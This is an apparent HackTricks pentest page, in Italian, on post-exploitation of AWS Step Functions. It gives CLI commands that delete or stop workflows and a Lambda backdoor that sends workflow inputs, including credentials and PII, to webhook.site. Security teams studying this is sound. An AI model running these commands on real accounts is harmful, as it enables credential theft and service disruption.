# AWS - Step Functions Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## Step Functions Per maggiori informazioni su questo servizio AWS, consulta: {{#ref}} ../../aws-services/aws-stepfunctions-enum.md {{#endref}} ### `states:RevealSecrets` Questo permesso consente di **rivelare dati segreti all'interno di un'esecuzione**. Per farlo, è necessario impostare Inspection level su TRACE e il parametro revealSecrets su true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente state machines, le loro versioni e alias. Questo può interrompere workflow critici, causare perdita di dati e richiedere tempo significativo per recuperare e ripristinare le state machines interessate. Inoltre, permetterebbe all'attaccante di cancellare le tracce utilizzate, ostacolare le indagini forensi e potenzialmente paralizzare le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato. > [!NOTE] > > - Eliminando una state machine elimini anche tutte le sue versioni e alias associati. > - Eliminando un alias di state machine non elimini le versioni della state machine che fanno riferimento a questo alias. > - Non è possibile eliminare una versione di state machine attualmente referenziata da uno o più alias. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn # Delete state machine version aws stepfunctions delete-state-machine-version --state-machine-version-arn # Delete state machine alias aws stepfunctions delete-state-machine-alias --state-machine-alias-arn ``` - **Impatto potenziale**: Interruzione di flussi di lavoro critici, perdita di dati e tempi di inattività operativi. ### `states:UpdateMapRun` Un attacker con questa autorizzazione potrebbe manipolare la configurazione di failure del Map Run e l'impostazione di parallelismo, potendo aumentare o diminuire il numero massimo di esecuzioni figlie del workflow consentite, incidendo direttamente sulle prestazioni del servizio. Inoltre, un attacker potrebbe manomettere la percentuale e il conteggio di failure tollerati, potendo ridurre questo valore a 0 in modo che ogni volta che un elemento fallisce, l'intero Map Run fallisca, influenzando direttamente l'esecuzione della state machine e potenzialmente interrompendo flussi di lavoro critici. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` - **Impatto potenziale**: Degrado delle prestazioni e interruzione di flussi di lavoro critici. ### `states:StopExecution` Un attacker con questa permission potrebbe essere in grado di interrompere l'esecuzione di qualsiasi state machine, interrompendo i flussi di lavoro e i processi in corso. Ciò potrebbe portare a transazioni incomplete, operazioni aziendali sospese e potenziale corruzione dei dati. > [!WARNING] > Questa azione non è supportata dalle **express state machines**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` - **Impatto potenziale**: Interruzione dei flussi di lavoro in corso, downtime operativo e possibile corruzione dei dati. ### `states:TagResource`, `states:UntagResource` Un attaccante potrebbe aggiungere, modificare o rimuovere tags dalle risorse di Step Functions, compromettendo l'allocazione dei costi dell'organizzazione, il monitoraggio delle risorse e le politiche di controllo degli accessi basate sui tags. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` **Impatto potenziale**: Interruzione dell'allocazione dei costi, del tracciamento delle risorse e delle politiche di controllo degli accessi basate sui tag. --- ### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` Un attacker che compromette un user o role con le seguenti autorizzazioni: ```json { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowUpdateStateMachine", "Effect": "Allow", "Action": "states:UpdateStateMachine", "Resource": "*" }, { "Sid": "AllowUpdateFunctionCode", "Effect": "Allow", "Action": "lambda:UpdateFunctionCode", "Resource": "*" } ] } ``` ...possono condurre una **high-impact and stealthy post-exploitation attack** combinando Lambda backdooring con Step Function logic manipulation. Questo scenario presuppone che la vittima utilizzi **AWS Step Functions to orchestrate workflows that process sensitive input**, come credentials, tokens, o PII. Esempio di invocazione della vittima: ```bash aws stepfunctions start-execution \ --state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ --input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim ``` Se la Step Function è configurata per invocare una Lambda come `LegitBusinessLogic`, l'attaccante può procedere con **due varianti di attacco furtive**: --- #### Aggiornata la funzione Lambda L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (`LegitBusinessLogic`) per esfiltrare silenziosamente i dati di input. ```python # send_to_attacker.py import requests def lambda_handler(event, context): requests.post("https://webhook.site//exfil", json=event) return {"status": "exfiltrated"} ``` ```bash zip function.zip send_to_attacker.py aws lambda update-function-code \ --function-name LegitBusinessLogic \ --zip-file fileb://function.zip -profile attacker ``` #### Aggiungi uno stato malevolo alla Step Function In alternativa, l'attaccante può iniettare uno **exfiltration state** all'inizio del flusso di lavoro aggiornando la definizione della Step Function. ```malicious_state_definition.json { "Comment": "Backdoored for Exfiltration", "StartAt": "OriginalState", "States": { "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", "End": true } } } ``` ```bash aws stepfunctions update-state-machine \ --state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ --definition file://malicious_state_definition.json --profile attacker ``` L'attaccante può essere ancora più furtivo aggiornando la definizione dello stato in qualcosa del genere { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } dove la vittima non si accorgerà della differenza --- ### Configurazione della vittima (Contesto per l'exploit) - Una Step Function (`LegitStateMachine`) viene usata per elaborare input utente sensibili. - Chiama una o più funzioni Lambda come `LegitBusinessLogic`. --- **Impatto potenziale**: - Esfiltrazione silenziosa di dati sensibili inclusi secrets, credenziali, API keys e PII. - Nessun errore visibile o fallimento nell'esecuzione del flusso di lavoro. - Difficile da rilevare senza audit del codice Lambda o le tracce di esecuzione. - Permette persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL. {{#include ../../../../banners/hacktricks-training.md}}